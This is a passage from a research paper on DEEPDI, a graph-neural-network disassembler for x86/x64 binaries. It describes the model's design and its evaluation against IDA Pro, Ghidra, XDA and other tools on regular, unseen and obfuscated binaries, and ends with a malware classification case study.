location 1 for thread 0, 2 for thread 1, and so on. The number

of threads we create is the same as the number of bytes in the

code section, and each thread will output one instruction.

We make each thread in a warp disassemble a consecutive

memory location because of GPU global memory coalescing.

When threads in a warp access an aligned and consecutive

memory location, this is a coalesced access and GPU can fetch

up to 32 words in one memory transaction. If the memory

accesses were strided (for example, greater than 31 words),

each memory transaction would fetch only one word, wasting

almost 97% of memory bandwidth.

When GPU is not available, we can perform this task on

CPU, which is very straightforward. We just need to go over

one byte at a time and disassemble one instruction starting

from it. We can exploit multi-threading on CPU by creating

multiple threads, each of which sweeps through one chunk of

the input binary.

3.2 Instruction Embedding

After we get the superset of instructions, we would like to

use the R-GCN model to infer the true instructions. First, we

need to decide what kind of representation of each instruction

should be fed into the R-GCN model (the representations are

used as the node features in the R-GCN model). In this section,

we introduce how we construct instruction representations

from their metadata ti, as shown in Figure 1 (d).

The metadata ti, i.e., the (Opcode,ModRM,SIB,REX)
tuple, is integer-encoded, so we first convert it to a fixed-

dimensional embedding via a learnable embedding layer, then

incorporate the embeddings of an instruction and its follow-

ing instructions into the instruction representation (feature

vector) via a recurrent neural network (RNN). Note that Fig-

ure 1 (c) shows the original values of Opcode, ModRM, SIB,

and REX extracted from instructions. However, their value

ranges may overlap (e.g., the range of ModRM and SIB is

{0, . . . ,255}) and it will confuse the embedding layer. So we

add a constant value to Opcode, ModRM, SIB, and REX to

make their ranges non-overlapping. In total we have 1,025

distinct opcodes, 257 ModRM, 257 SIB, and 17 REX. Each

field has a reserved value which is used when the correspond-

ing field is not presented. This makes the overall input size of

the embedding layer 1,556. We use an instruction sequence

instead of a single instruction because one instruction carries

too little information to tell if it is valid. Take Figure 1 (b) for

example, instruction 4 alone looks valid. However, if we also

consider its following instruction, instruction 6 where ebx is

used as a base register, the modification of bh in instruction

4 becomes suspicious. In this way, the same instruction in

different execution paths can have different semantic repre-

sentations, and the context-aware representations can help

improve the classification accuracy. In our experiment, two

following instructions can give enough information and will

not cause much runtime penalty.

Formally, we define the instruction i’s feature vector as

follows:

x
(n)
i = f (x(n−1)

i ,ui⊕(n−1)),n = 1, . . . ,M (2)

where f is the vanilla RNN’s recurrent function [49], x
(n)
i ∈

R
d2 is the hidden state of the RNN network (x

(0)
i is an all-

zero vector, which is the initial hidden state of the RNN). M

is the sequence length, which is three in this paper. ui ∈R4⋅d1

is the embedding of ti generated by a learnable embedding

layer. Each item in the tuple is treated as a word index and

the embedding layer convert it to a d1-dimensional vector.

ui is the concatenation of the embeddings of the four items

(Opcode, ModRM, SIB, REX). For an instruction i in the

superset of instructions, we define that the operation i⊕ j

represents finding j-th non-overlap following instruction of

i. Take Figure 1 (d) for example, for instruction 0, 0⊕1 = 3,

0⊕2 = 5, etc. If i⊕(k+1) does not exist (out of bound or

instruction i⊕k being invalid), we define i⊕(k+1)= i⊕k.

Since we define M = 3 in this paper, a simpler unrolled

RNN equation of length three can be defined as follows:

x
(3)
i = funrolled(ui,ui⊕1,ui⊕2) (3)
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Since only the RNN steps cannot be parallelized, a small

sequence length means it would not be particularly more

expensive. That is why our approach can still achieve high

efficiency even though an RNN is used.

After the RNN module, we can use x
(M)
i (in this paper,

M = 3) as the representation of instruction i and then feed this

representation as the node feature into the R-GCN model for

graph inference (see Section 3.4 for more details). We chose

the vanilla RNN over GRU or LSTM for better efficiency.

3.3 Instruction Flow Graph

Since we are exhaustively disassembling binaries, there exist

many false instructions. Even worse, instructions are variable-

length, thus the model cannot easily determine where the

true instructions are. To help the model better understand the

contexts, we propose to model different relations between in-

structions using a graph called Instruction Flow Graph (IFG),

which is used with the Graph Inference phase to propagate

information of each instruction to its neighbors and to classify

true instructions.

Formally, we define an instruction flow graph as a directed

graph G = (V,E,R). For each node vi ∈V , there is a feature

vector xi, a semantic representation of the instruction obtained

from Section 3.2. Each edge (vi,r,v j) ∈ E is labeled with a

relation r ∈ R denoting the edge type. R = { f ,b,o} represents

three types: forward, backward, and overlap, respectively. If

the label r in (vi,r,v j) is a forward relation, it means the

next instruction of i can be j, either i falls through to j, i

calls j, or i jumps to j. For example, if the instruction i is a

conditional jump which may fall through to j or jump to k,

there is a forward edge from i to j and a forward edge from

i to k. If instruction i is a return instruction or an indirect

jump/call, no forward edge from i is created since the transfer

target is unknown. A forward edge from i to j is the same

as a backward edge from j to i. If r is an overlap relation, it

means instruction i and j overlap with each other. That is, the

starting point of instruction j is inside instruction i, or vice

versa. These different relations can help the model propagate

different kinds of information.

Figure 1 (e) shows an example of an Instruction Flow

Graph. For instance, Node 3 has two forward relations be-

cause Instruction 3 is a conditional jump and thus has two

potential targets. Likewise, Node 0 has two overlap relations

with Node 1 and 2 because the length of Instruction 0 is three.

3.4 Graph Inference

For our graph inference, we use a Relational-GCN (R-

GCN) [50] to propagate information of each instruction to

its neighbors. In this network, nodes can have different kinds

of relations so that we can pass different messages along

different relations. Recall that a valid instruction makes its

successors valid, but not vice versa because it can have multi-

ple predecessors, and only one of them or even none of them

is valid. R-GCN is capable of modeling this and increases the

likelihood of valid instructions while decreases the likelihood

of invalid instructions.

As defined in Section 3.3, an instruction flow graph is

denoted as (V,E,R). We use the following propagation model

to update the hidden state of each node vi in each layer:

h
(l+1)
i = ReLU

⎛
⎜
⎝
∑
r∈R
∑
j∈Nr

i

1

∣Nr
i
∣
W
(l)
r h

(l)
j +W

(l)
0 h

(l)
i

⎞
⎟
⎠

(4)

where h
(l)
i ∈ Rd2 is the d2-dimensional hidden state of the

node vi in the l-th layer. Nr
i denotes the set of neighboring

indices of node vi under relation r ∈R. ∣Nr
i ∣ denotes the number

of nodes in Nr
i . W

(l)
r ∈Rd2×d2 is the weight matrix for relation

r ∈ R in the l-th layer. W
(l)
0 ∈Rd2×d2 is the weight matrix for

the node itself in layer l (self-connection). Initially, h
(0)
i = xi,

the feature vector associated with node vi (see Section 3.2).

The final output of R-GCN with L layers is the hidden state of

the last layer h
(L)
i . Figure 3 illustrates the propagation process

at layer l.

+ ReLU

X

X

X

input vector

embedded vector 

at layer l+1

Figure 3: Embedding propagation at layer l of R-GCN

During training, each instruction embedding is propagated

and updated L times via different relations: forward, back-

ward, and overlap to capture information from neighboring

nodes. The final output h
(L)
i is fed into a classifier: a fully-

connected layer to reduce the dimension to one, and then

activated by sigmoid to generate a probability p. We try to

minimize the Binary Cross Entropy loss function:

J(Θ, p,y)=∑(−(y ⋅ log(p)+(1−y) ⋅ log(1− p))) (5)

where Θ denotes the model parameters and y is the true label.

As shown in Figure 1, all the trainable modules of DEEPDI

are linked together and trained in an end-to-end fashion.
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3.5 Function Entrypoint Recovery

To recover function entrypoints, we first identify a set of func-

tion entrypoint candidates, and then feed each candidate and

its surrounding instructions into a classifier. To identify the

candidates, we first obtain the metadata of valid instructions,

and exclude instructions that are int3, jmp, ret, nop, or are

reachable via instruction fallthrough or conditional jump be-

cause these instructions will not be function entrypoints. We

also assume the targets of call instructions are function entry-

points. This not only reduces false positives, but also greatly

reduces the number of candidates to evaluate.

We then stack each candidate instruction with three pre-

ceding instructions and three following instructions into our

function entrypoint recovery model. The model has a learn-

able embedding layer followed a GRU layer and a two-layer

perceptron classifier. This will determine if this candidate

instruction is indeed a function entrypoint. Let the valid in-

struction metadata be {t0,t1, . . . ,tk}, we define the function

entrypoint recovery model as follows:

gi = f (ui−3,ui−2,ui−1,ui,ui+1,ui+2,ui+3) (6)

where f is the GRU’s recurrent function, and ui ∈R4⋅d1 is the

embedding of ti generated by a learnable embedding layer

(not the same embedding layer in Section 3.2). gi is the hidden

state of the GRU layer and is then fed into a classification

layer.

During evaluation, we only feed function entrypoint candi-

dates into our model. Since the number of function candidates

is very limited compared to the number of superset instruc-

tions (about 1:30), this model has almost no impact on runtime

performance. Our experiment shows that it helps achieve the

average F1 score of function recovery 98.6%.

Guo et al. [27] show that RNN-based function identification

tends to learn specific bit patterns, such as push ebp. How-

ever, we identify function entrypoints based on high-level

features learned by the neural network model and accurate

instructions, which can likely lead to higher robustness. The

drawback of this approach is that we will miss tail jumps and

functions with unseen prologues. To identify tail jumps, we

can use the same heuristics in other works [45, 46]. If the

jump target address is larger than the next function start or

smaller than the current function start, it is considered as a

tail jump. For unseen prologues, we are able to find many of

them via call targets.

4 Evaluation

In this section, we evaluate DEEPDI’s performance. Our ex-

periments aim to answer the following Research Questions

(RQs).

RQ1 How does it perform on regular binaries?

RQ2 How does it perform on unseen binaries?

RQ3 How does it perform on obfuscated binaries?

RQ4 How resilient is it against adversarial attacks?

4.1 Implementation and Setup

We use PyTorch [41] to implement our model and write a plug-

in to disassemble raw bytes and return instruction metadata

and an IFG as PyTorch Tensors. To disassemble instructions

on GPU, we used a header-only library LDasm4 and modified

the code so that it can run on GPU, and its look-up tables are

properly cached and shared among GPU threads. The IFG

is represented as a set of sparse adjacency matrices, and we

used the PyTorch Sparse5 library to avoid expensive memory

coalescing operations. We ran all the experiments on a dedi-

cated server with a Ryzen 3900X CPU @ 3.80 GHz×12, one

GTX 2080Ti GPU, 16 GB memory, and 500 GB SSD.

Baseline. We select the following disassemblers for baseline

comparison: Binary Ninja 2.2 [1], IDA Pro 7.2 [3], Ghidra

9.1.2 [2], Datalog Disassembly [24], and XDA [43]. IDA Pro,

Ghidra, and Binary Ninja are widely used in reverse engi-

neering and binary analysis practices, and their results are

considered high-quality. Datalog is a recently proposed bi-

nary rewriting approach. XDA is the state-of-the-art machine

learning-based approach. This selection covers the state-of-

the-art commercial disassembler tools and the most recent

research prototypes.

We used the default settings when evaluating IDA Pro and

Binary Ninja. For Ghidra, we disabled its decompiler, ASCII

string analyzer, x86 exception handling, and constant refer-

ence analyzer to boost its efficiency. We finetuned two XDA

models, one for instruction and one for function entrypoints,

both based on the pre-trained model that XDA provided. We

kept the same hyperparameters as in their paper and finetuned

each model for five epochs.

Dataset. We conducted experiments on BAP corpora [17],

LLVM 11 for Windows6, SPEC CPU2006 [6], and SPEC

CPU2017 [7]. The BAP corpora contain 1,032 x86 and x64

ELF binaries compiled by GCC with optimization levels O0

to O3. Though these corpora also come with ELF binaries

compiled by Intel C++ Compiler (ICC) and PE files, these

binaries are not used in experiments due to the existence of

jump tables in the code section. LLVM 11 is compiled by

Microsoft Visual Studio 2019 with optimization levels

Od, O1, O2, Ox for both x86 and x64 architectures. SPEC

CPU2006 is compiled by GCC-4.8.4 and MSVC 2008 for

x86 and x64 architectures and with four optimization levels.

SPEC CPU2017 is also compiled on the two ISAs with four

optimization levels by using GCC-7.5 and MSVC 2019. To

reduce the training time for XDA, we excluded files larger

than 5MB.

In total, we have 1,032 ELF files (268 MB) from BAP,

266 PE files (322 MB) from LLVM, 152 PE files (152 MB)

4https://github.com/Rprop/LDasm
5https://github.com/rusty1s/pytorch_sparse
6https://github.com/llvm/llvm-project
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and 190 ELF files (79 MB) from SPEC CPU2006, and 270

PE files (287 MB) and 218 ELF files (120 MB) from SPEC

CPU2017. Note that we only count code section size.

It is straightforward to extract the ground truth from ELF

files, since there is no data in the code section according to

Andriesse et al. [10]. We get instruction boundaries by lin-

early disassembling the code section. We use pyelftools7 to

get function entrypoints come from the symbol table where

the symbol type is “STT_FUNC” and the symbol index is not

“SHN_UNDEF” (to exclude external functions). To obtain the

ground truth for PE files, we modified DIA2Dump, an exam-

ple that comes with Visual Studio, to dump all functions, data,

and label addresses from pdb files. We can only find data

addresses but no data lengths in pdb files, so to estimate data

ranges, we first find the label where the data belongs, then

treat the data address to the end of that label as data. When

creating the labels, we set the label to one if the corresponding

byte is the starting point of an instruction or a function.

Evaluation Metrics. For the accuracy evaluation, we use F1

scores to measure the performance because both precision

and recall are pretty high for almost all disassemblers. For

generalizability and obfuscation evaluation, we use Precision

(P) and Recall (R) to measure the performance.

Deep Learning Model Settings. We use the Adam optimiza-

tion algorithm [32] and a default learning rate 10−3. As in-

troduced in Section 3.4, we use the Binary Cross-Entropy

Loss to calculate the loss. We choose the following hyper-

parameters through an informal parameter sweep process:

d1 = 8, d2 = 16, L= 2, M = 3, and the batch size is 1,048,576.

If a code section is larger than the batch size, we obtain an

Instruction Flow Graph for each batch, and edges outside of

this graph are dropped. We apply the same strategy to keep the

graph small and fit in the GPU memory during the inference.

In each batch, the average valid-to-invalid instruction ratio is

about 1:1 because compilers tend to insert sufficient padding

instructions to align instructions. If we count the paddings as

invalid, the ratio becomes 1:4. The graph size is roughly five

times the batch size: almost all instructions have only one for-

ward and one backward relation (fallthrough), each of which

overlaps with three instructions on average. We also apply a

row normalization to make each node in a similar range [50].

As for the function model, the output length of the embedding

layer is 8, the hidden size of GRU is 64, and the hidden layer

size of the two-layer perceptron is 64, 1, respectively. In total,

our model only has 49,889 trainable parameters.

4.2 Accuracy and Efficiency

In this section, we evaluate the accuracy and the efficiency of

DEEPDI and other baseline tools. First, we introduce some

details and settings of the experiments, then report and discuss

experimental results.

7https://github.com/eliben/pyelftools

Training and Testing Details. We randomly shuffled the

dataset and did a 90-10% split (90% of binaries are used

for training, 10% for testing). Both XDA and DEEPDI are

trained for five epochs because XDA converges after five

epochs according to their paper. We feed code sections (raw

bytes) to XDA and binary files to DEEPDI.

4.2.1 Accuracy

To answer RQ 1, we measure F1 scores of DEEPDI and base-

line models at instruction and function levels, as shown in

Table 2.

When evaluating instruction level results, we treat nop,

int3, hlt and jmp instructions, and lea instructions whose

source and destination registers are the same as padding in-

structions, thus they do not count towards positive or negative

instructions. Similarly, for the function entrypoint evaluation,

if the first instruction of a function is jmp, this function does

not count towards positive or negative functions.

Datalog only supports x64 ELF files, so its evaluation on

LLVM binaries is not available, and the corresponding cells

show “N/As” in Table 2. From the table, we observe that

most disassemblers struggle to identify function entrypoints

on SPEC datasets. By looking into the datasets, we find that

functions from the BAP and the LLVM dataset are mostly

aligned, meaning padding instructions can be found between

functions. These padding instructions are a strong indicator of

function boundaries. However, functions from SPEC datasets

are not aligned. To make it worse, many functions end with

non-return calls, and frame pointers are often omitted on high

optimization levels. With frame pointers omitted, the first

instruction of a function is not push ebp/rbp, but xor, cmp,

mov, etc. These are normal instructions after a call instruc-

tion, and this explains why many disassemblers struggle to

recover function entrypoints. IDA Pro treats many small func-

tions as error handling code, or “__unwind”. That is why IDA

Pro misses many functions in the LLVM dataset. Note that

DEEPDI is not the best performer, but is comparable with

the other disassemblers. We are unable to evaluate Shingled

Graph Disassembly [55] on our dataset because it is not open

source. Still, according to their paper, the accuracy of Shin-

gled Disassembly is comparable to IDA Pro, meaning its

instruction-level accuracy is similar to DEEPDI.

4.2.2 Efficiency

Figure 4 shows the correlations between code section size and

disassembly time for our approach, IDA Pro, Binary Ninja,

Ghidra, Datalog, and XDA. The y-axis of this figure is log-

scaled. For IDA Pro, Binary Ninja, and Ghidra, we run them

in console/headless mode to avoid unnecessary GUI costs.

For Datalog Disassembly, we take the numbers reported from

the tool directly. When disassemblers are tested on CPU, only

one CPU core is used to ensure fairness.

DEEPDI on GPU clearly stands out in this experiment. Its

throughput is about 24.5 MB/s, about 170 times faster than
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Table 2: Instruction and Function Level Accuracy

Dataset Opt.
Instruction F1 (%) Function Entrypoint F1 (%)

DEEPDI XDA Datalog IDA Pro Binary Ninja Ghidra DEEPDI XDA Datalog IDA Pro Binary Ninja Ghidra

BAP

O0 99.9 99.9 100 99.9 99.9 100 99.9 99.9 100 100 99.9 100

O1 99.8 99.9 100 99.9 99.8 99.9 99.3 99.5 100 99.9 99.8 99.9

O2 99.7 99.9 99.9 99.9 99.8 99.9 98.6 99.4 100 99.9 99.8 99.9

O3 99.7 99.9 100 99.9 99.7 99.9 99.0 99.5 100 99.9 99.7 99.9

LLVM

Od 99.8 99.9 N/A 99.9 99.8 99.9 99.8 99.9 N/A 99.9 97.1 99.9

O1 99.8 99.9 N/A 99.9 99.7 99.9 99.8 99.9 N/A 99.8 96.8 99.9

O2 99.8 99.9 N/A 99.9 99.6 99.9 99.8 99.9 N/A 99.8 89.7 99.7

Ox 99.7 99.9 N/A 99.9 99.7 99.9 99.8 99.9 N/A 99.8 84.9 99.7

SPEC 2006

O0 99.9 99.9 100 99.9 99.6 98.9 98.4 99.9 99.9 88.8 88.7 97.3

O1 99.7 99.8 100 99.8 99.3 97.2 97.0 99.3 100 86.3 88.7 93.4

O2 99.9 99.9 100 99.9 99.2 97.6 96.4 99.5 100 85.2 91.5 92.7

O3 99.9 99.9 100 99.9 98.9 98.0 98.6 99.5 100 93.3 96.0 99.9

Os/Ox 99.8 99.9 100 99.9 99.4 97.5 95.3 98.3 100 85.6 87.1 91.6

SPEC 2017

O0 99.9 99.9 99.9 99.9 99.7 94.2 99.0 99.8 100 89.4 93.6 86.7

O1 99.9 99.9 100 99.9 99.5 95.9 99.7 99.8 100 80.8 95.6 76.8

O2 99.8 99.9 100 99.9 99.4 95.1 99.5 99.9 100 79.4 96.7 75.5

O3 99.6 99.9 100 99.9 98.9 90.1 98.9 99.4 100 88.4 93.5 85.0

Os/Ox 99.7 99.8 100 99.9 99.6 96.5 96.3 99.5 100 72.5 92.1 68.7

Figure 4: Efficiency Evaluation

DEEPDI on CPU, 146 KB/s. The latter still is noticeably

faster than the remaining disassemblers: IDA Pro 72 KB/s,

XDA (GPU) 47 KB/s, Binary Ninja 11 KB/s, Ghidra 10 KB/s,

Datalog 5 KB/s (for files around 1 MB), and XDA (CPU) 140

B/s. Shingled Graph Disassembly, according to their paper, is

two to three times faster than IDA Pro, making it comparable

to our CPU approach.

In contrast, XDA is several orders of magnitude slower than

the other disassemblers when running on CPU, and its GPU

version is merely comparable to the other CPU disassemblers.

It is worth noting that we obtained XDA source code from

their GitHub repository, but we could not reproduce their

reported efficiency. One possible reason is that they used

three GPUs [43] whereas we only used one.

The answer to RQ 1: DEEPDI is very accurate on

regular binaries. Its accuracy is comparable to all

the commercial tools and recent research prototypes.

Moreover, DEEPDI is significantly more efficient.

4.3 Generalizability

To answer RQ 2, we conduct two experiments. First, we train

our model on the BAP corpora and test it on the LLVM dataset,

and then compare it with another machine learning-based

model – XDA [43]. We did not do it in the opposite way

(i.e., training on the LLVM and testing on the BAP corpora)

because XDA is pre-trained on the BAP corpora [43] and this

dataset should not be considered unseen for XDA. DEEPDI

and XDA are trained on each optimization level of BAP cor-

pora for five epochs and tested on the LLVM binaries. This

experiment shows disassemblers’ performance on unseen bi-

naries of different compilers (GCC vs MSVC), platforms (Linux

vs Windows), and optimization levels. Second, we evaluate

our model and XDA’s model from Section 4.2 on the same

unseen real-world software used by XDA. This experiment

uses unseen real-world software to show the performance in

real-world scenarios.

Table 3 lists the evaluation results on instruction and func-

tion recoveries. Even though DEEPDI has not seen LLVM

binaries before, it still reaches 97.1%+ precision and recall

on recovering instruction boundaries. However, XDA only

obtains a high precision while recall is constantly below 50%.

One possible explanation is that XDA’s attention header is

too conservative, and does not perform well when instruction

patterns are unseen. The function entrypoint recovery eval-

uation shows a greater degradation when analyzing unseen

binaries of unseen compilers. As the optimization level in-

creases, function prologues become less obvious and differ
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Table 3: Precision and Recall on Unseen Binaries from an Unseen Compiler

Model
Train

Test
Instruction Function

Od O1 O2 Ox Od O1 O2 Ox

P R P R P R P R P R P R P R P R

DEEPDI

O0 98.6 99.1 98.1 97.6 98.0 97.6 98.2 97.7 94.5 42.3 95.9 38.4 74.8 26.2 73.1 26.0

O1 98.6 98.9 97.2 96.6 97.9 97.1 98.0 97.1 94.9 60.5 93.3 76.8 72.2 72.1 69.5 71.9

O2 98.9 99.7 98.3 98.6 98.3 98.5 98.2 98.6 89.4 47.3 86.7 61.6 82.6 55.0 83.1 53.7

O3 98.2 99.0 97.7 96.9 98.1 97.3 98.1 97.4 80.4 21.0 78.7 39.5 72.9 30.9 74.3 32.5

XDA

O0 98.7 38.9 96.1 43.9 97.1 42.1 97.5 42.6 56.9 0.1 77.6 0.7 5.3 0.03 45.5 0.6

O1 99.0 37.5 97.2 44.2 98.1 42.5 98.4 43.0 2.6 0.4 8.9 1.2 2.3 0.9 3.6 1.4

O2 99.1 38.7 97.2 46.5 98.2 44.2 98.5 44.6 16.8 0.5 57.6 3.8 29.5 2.9 34.1 3.9

O3 98.9 39.8 97.3 47.6 98.1 44.8 98.4 45.1 8.7 0.2 40.4 1.4 7.6 0.4 20.5 1.4

Table 4: Precision and Recall of Function Entrypoint Recovery on Real-world Software

Model Opt.
curl diffutils GMP ImageMagick libmicrohttpd libtomcrypt OpenSSL PuTTy SQLite zlib

P R P R P R P R P R P R P R P R P R P R

DEEPDI

O0 99.9 99.9 99.4 99.2 97.7 97.2 99.6 99.9 99.5 99.5 97.7 94.2 99.7 100 99.9 99.8 99.8 99.9 100 99.3

O1 98.5 99.4 94.6 94.8 96.9 85.6 98.2 94.9 93.6 89.5 97.9 77.1 97.3 93.5 99.4 91.6 97.7 96.9 98.3 85.6

O2 96.2 96.6 94.4 96.5 95.7 90.7 94.1 95.3 91.7 92.7 97.8 95.6 92.6 95.5 98.5 95.6 94.9 95.5 99.1 84.3

O3 96.7 97.4 88.9 97.9 96.0 91.3 94.1 95.1 88.7 93.4 97.9 95.1 92.8 96.0 99.0 96.2 94.7 95.9 98.0 84.2

XDA

O0 100 100 100 100 99.2 96.7 99.9 100 99.5 100 99.6 95.6 100 100 100 99.9 100 100 100 100

O1 91.6 96.0 96.1 96.6 94.1 94.2 98.9 98.7 89.8 92.8 91.4 95.8 93.0 96.1 95.4 97.3 92.9 97.0 94.8 92.7

O2 88.9 95.6 95.9 95.4 95.9 91.9 97.9 98.4 93.9 95.5 98.0 96.0 89.6 95.1 96.1 95.9 95.9 94.0 99.1 90.9

O3 88.9 96.1 94.1 95.7 96.3 94.7 97.1 97.8 96.6 95.8 97.0 96.6 83.8 97.3 96.2 94.3 95.3 94.9 98.2 93.3

a lot from compilers to compilers, making function identifi-

cation much harder. Despite that, DEEPDI outperforms XDA

by a large margin.

Table 4 shows the precision and recall of function entry-

point recovery on each software and optimization. We find

that DEEPDI is on par with XDA. The F1 scores of both XDA

and DEEPDI are close to 100 on instruction recovery, and

their performance is almost identical, so we omit the table for

instruction recovery.

The first experiment shows that DEEPDI can generalize

function entrypoint recovery to some extend when analyzing

binaries from unseen compilers and optimization levels. The

second experiment shows DEEPDI can generalize pretty well

when compilers and optimization levels are already known.

This indicates that each compiler has its function patterns on

each optimization level, so for DEEPDI, training the model

on binaries compiled by gcc and MSVC with different opti-

mization levels is good enough for most general software.

The answer to RQ 2: For unseen binaries, DEEPDI

is still able to achieve high precision and recall. It

outperforms another machine learning-based model,

XDA, by a large margin for unseen compilers and

optimization levels, and is on par with XDA for un-

seen real-world binaries. These results suggest that

DEEPDI has good generalizability.

4.4 Obfuscation Evaluation

To answer RQ 3, we used two different obfuscators to eval-

uate whether our approach is resilient to obfuscations, and

how it compares with the disassemblers with sophisticated

heuristics. The first obfuscator was developed by Linn and

Debray [36]. In that paper, the authors proposed to insert

junk code to confuse both linear and recursive disassembly.

Moreover, unconditional jumps are redirected to a universal

function that modifies its return address based on callers. This

nonstandard behavior hides jump targets and breaks common

heuristics. We used the models trained in Section 4.2 and

the ground truth provided by Linn and Debray [36]. They

provided 11 obfuscated x86 ELF binaries of the SPECint

2000 benchmark suite that have been obfuscated by their tool.

Evaluation results of these binaries are shown in Table 5.

We excluded Datalog Disassembly and Binary Ninja be-

cause Datalog Disassembly does not support x86 ELF files,

and Binary Ninja consumed all memory resources and was

killed by the OS. We can observe from Table 5 that DEEPDI

is the best performer with respect to precision, recall, and run-

time efficiency. In contrast, Ghidra took almost three hours to

analyze these binaries and achieved low precision and recall.

XDA is slightly worse than DEEPDI in terms of precision and

recall, but 235 times slower than DEEPDI on GPU.

Table 5: Obfuscation Test Results

Disassembler Precision Recall Time

DEEPDI (GPU) 84.1 95.2 1.2s

XDA (GPU) 80.2 95.1 282s

IDA Pro 75.8 44.8 262s

Ghidra 69.1 47.0 10,240s

We also evaluated another obfuscator called Hikari [58].

It is an improvement over Obfuscator-LLVM [29], and it

can generate hard-to-read code to provide tamper-proofing

and increase software security. We used five obfuscation
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Table 6: Function Entrypoint Recovery on Obfuscated Unseen Binaries, P: Precision, R: Recall, T: Time

Obfuscation
DEEPDI XDA IDA Pro Binary Ninja Ghidra Datalog

P R T P R T P R T P R T P R T P R T

bcfobf 98.9 98.9 1.6s 99.6 99.4 396s 99.5 100 129s 86.1 100 621s 35.9 33.1 208s 99.7 100 783s

cffobf 99.4 97.9 0.7s 99.6 99.1 342s 99.9 100 112s 98.6 100 593s 39.8 33.0 920s 99.7 100 1,231s

indibran 99.8 98.0 0.5s 99.8 99.0 229s 20.5 100 842s 75.5 99.9 248s 39.7 33.3 230s 98.8 100 905s

splitobf 99.7 98.6 0.6s 99.8 99.3 312s 100 100 117s 98.5 100 539s 42.4 33.2 198s 99.7 100 480s

subobf 99.7 97.9 0.5s 99.8 98.8 187s 100 100 63s 98.6 100 409s 50.6 33.3 105s 99.7 100 284s

strategies, namely bogus control flow (bcf), control flow

flattening (cff), basic block splitting (splitobf), instruction

substitution (subobf), and register-based indirect branching

(indibran) to obfuscate seven popular open-source projects,

including curl-7.74.0, diffutils-3.7, gmp-6.2.1,

ImageMagick-7.0.10, libmicrohttpd-0.9.72, SQLite

-3.34.0, and zlib-1.2.11. We also turned off optimizations

as instructed by Hikari [58]. The function entrypoint evalu-

ation results are shown in Table 6. In this experiment, IDA

Pro has low precision when files are obfuscated by Indirect

Branching. It fails to resolve some indirect jump instructions

and treats these jump targets as function entrypoints. Ghidra

misidentifies many function entrypoints, indicating that

signature-based function identification is not very resilient

to unseen patterns. IDA Pro, Binary Ninja, Ghidra, and

Datalog Disassembly show increased analysis time due to

the increased control flow complexity. In contrast, machine

learning-based approaches like DEEPDI and XDA are not

affected by this.

Based on the results in Table 5 and Table 6, we can see that

the two machine learning-based approaches, DEEPDI, and

XDA, are superior in accuracy when dealing with obfuscated

binaries, but DEEPDI is hundreds of times faster than XDA

on GPU.

The answer to RQ 3: For obfuscated binaries,

DEEPDI is superior in accuracy and its efficiency

is not affected by the increased code complexity.

4.5 Adversarial Evaluation

An extensive answer to RQ 4 would deserve a separate inves-

tigation. In this section, we conduct a preliminary evaluation.

Since our model relies on jump relations to recognize true in-

structions, one possible adversarial attack would be replacing

some of these jumps with computed jumps. In this experiment,

we trained our model on O3 BAP corpora. In evaluation, we

use O0 BAP corpora and randomly drop 50% and 90% of

jump edges.

The evaluation results show that if 50% of the jumps are

removed, the false positive rate (FPR) increases slightly from

0.0473% to 0.0524%, and the false negative rate (FNR) from

0.24% to 0.51%. If 90% are removed, the FPR is 0.0575%,

and the FNR is 0.81%. By analyzing false-negative cases, we

find most false negatives are the first instruction of a short

basic block, or nop instructions at the beginning of a basic

block. This makes sense because the first instruction of a basic

block, especially a short one, has the least context information

if it is not a jump target.

We also evaluate the function entrypoint accuracy. When

all jump edges are removed, precision drops to 93.8% and

recall to 98%. Precision drops a lot because GCC may align

basic blocks and insert nops between them. If a function has

multiple exits, we can find code patterns like return - nop -

mov reg, [reg]. The third instruction looks like a function

entrypoint even to humans, and thus confuses the model.

We speculate that the high resiliency of DEEPDI against

this jump-obfuscation attack is attributed to graph inference,

which takes into account several kinds of relations between

instructions. Context information still exists in adjacent in-

structions and overlapping instructions. Destroying only a

part of these relations (in this case, jump relations) does not

cause a drastic impact on the overall graph inference task.

The answer to RQ 4: Through a preliminary eval-

uation on jump-obfuscation attacks, we show that

DEEPDI has good resilience.

5 Downstream Application

In this section, we showcase how DEEPDI can support down-

stream applications. Particularly, we choose malware clas-

sification in this demonstration. We leave more extensive

evaluations on downstream applications as future work.

We use the malware dataset from Microsoft Malware Clas-

sification Challenge [48]. This dataset contains nine malware

families, and is split into 10,868 malware training samples

and 10,873 testing samples. Each malware sample comes

with IDA Pro disassembly results and raw bytes (represented

as hexadecimal values) of the code sections. Some raw bytes

are represented as “??”, so we removed such bytes and con-

verted other hex strings back to bytes. For all the following

experiments, we use 10-fold cross-validation on the training

data and report mean accuracy as well as standard deviation.

The ground truth of the test dataset is not released to the pub-

lic, and the only evaluation metric returned from the online

judge system is logloss, so we report logloss instead of accu-
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racy on the test dataset. As a reference, the logloss of random

guessing on the test dataset is 2.19722.

The top models in this challenge used both disassembly and

raw bytes to extract high-level features such as N-gram and

strings [48]. These features are expensive and can take hours

or even days to extract [8, 59]. Although they could achieve

over 99.7% training accuracy and 0.0063 in loss, those models

are impractical for real-time analysis.

To demonstrate how the high-level features benefit malware

classifiers, we conduct two experiments. First, we compare

MalConv [47] with Gemini [57] to compare the performance

of classifiers that take raw bytes and high-level features. Sec-

ond, we compare the original EMBER [9] with a modified

version where high-level disassembly features are added.

For the first experiment, we extend Gemini [57] which

takes attributed control-flow graph (ACFG) as input, gener-

ates embeddings for all basic blocks, and finally outputs an

embedding for each function by summing up all basic-block

embeddings. To build a malware classifier, instead of gener-

ating function embeddings, we concatenate min- and max-

pooling of all basic-block embeddings of the program, and

then feed them into a 2-layer perceptron followed by a tanh

activation function. It finally outputs 9-dimensional vectors

for classification. We can then use softmax to get a probability

for each class. We expect that a classifier based on high-level

features can achieve good accuracy and generalizability.

We use Adam optimizer with the default learning rate 10−3

and Cross Entropy Loss to train the model. At the input layer,

we added a fully connected layer to increase the vector size to

32 to allow more information to pass through ACFGs. We also

set the output embedding size 32, and information propagates

five hops. In this simple case study, we did not attempt to

find the optimal hyperparameters or explore different network

architectures, so there is certainly room for improvement.

We also evaluated MalConv [47], a convolutional neural

network model that takes raw bytes as input for malware

classification. We used the same training strategy described

above to train a MalConv model.

Table 7: Malware Classification Results

Model Training Accuracy Testing Loss Time (GPU)

Gemini 96.52%±0.595 0.134974±0.036 7m

MalConv 97.81%±0.659 0.159165±0.048 48.6s

Table 7 lists the results of this experiment. We can see that

although MalConv has better training accuracy, Gemini can

better generalize with 0.13 logloss. This result substantiates

that a malware classifier based on high-level features tends to

